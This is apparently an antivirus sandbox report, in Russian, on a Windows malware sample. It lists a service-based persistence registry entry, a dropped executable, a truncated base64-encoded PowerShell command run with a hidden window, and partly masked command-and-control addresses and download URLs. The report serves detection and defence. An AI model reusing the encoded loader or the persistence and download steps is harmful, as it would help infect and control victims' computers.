Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\synceng] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\synceng] 'ImagePath' = '"<SYSTEM32>\dmcompos\synceng.exe"'
- 'synceng' "<SYSTEM32>\dmcompos\synceng.exe"
- 'synceng' <SYSTEM32>\dmcompos\synceng.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABGAHYAcwBxAHEAdwBqAD0AKAAoACcATwAyACcAKwAnAGIAYQAnACkAKwAnAGYAcwAnACsAJwA2ACcAKQA7ACYAKAAnAG4AZQAnACsAJwB3ACcAKwAnAC0AaQB0AGUAbQAnACkAIAAkAGUAbgB2ADoAVABFAE0AcABcAFcATwByAGQAXAAyADAAMQA5AF...
- %TEMP%\word\2019\drar13o2q.exe
- <SYSTEM32>\dmcompos\synceng.exe
- %TEMP%\word\2019\drar13o2q.exe в <SYSTEM32>\dmcompos\synceng.exe
- '17#.#1.218.65':80
- http://ca####ethovenlb.com/classes/mPaUG3/
- http://17#.#1.218.65/mOzhn3GxXTETFQ/tuvn1JqNs/jGALuFH1Eev774e/kHGyqZXOl9UnE/zo1A18SPymni09huP/
- DNS ASK bu####uzmekursu.com
- DNS ASK ca####ethovenlb.com
- '%TEMP%\word\2019\drar13o2q.exe'
- '<SYSTEM32>\dmcompos\synceng.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABGAHYAcwBxAHEAdwBqAD0AKAAoACcATwAyACcAKwAnAGIAYQAnACkAKwAnAGYAcwAnACsAJwA2ACcAKQA7ACYAKAAnAG4AZQAnACsAJwB3ACcAKwAnAC0AaQB0AGUAbQAnACkAIAAkAGUAbgB2ADoAVABFAE0AcABcAFcATwByAGQAXAAyADAAMQA5AF...' (со скрытым окном)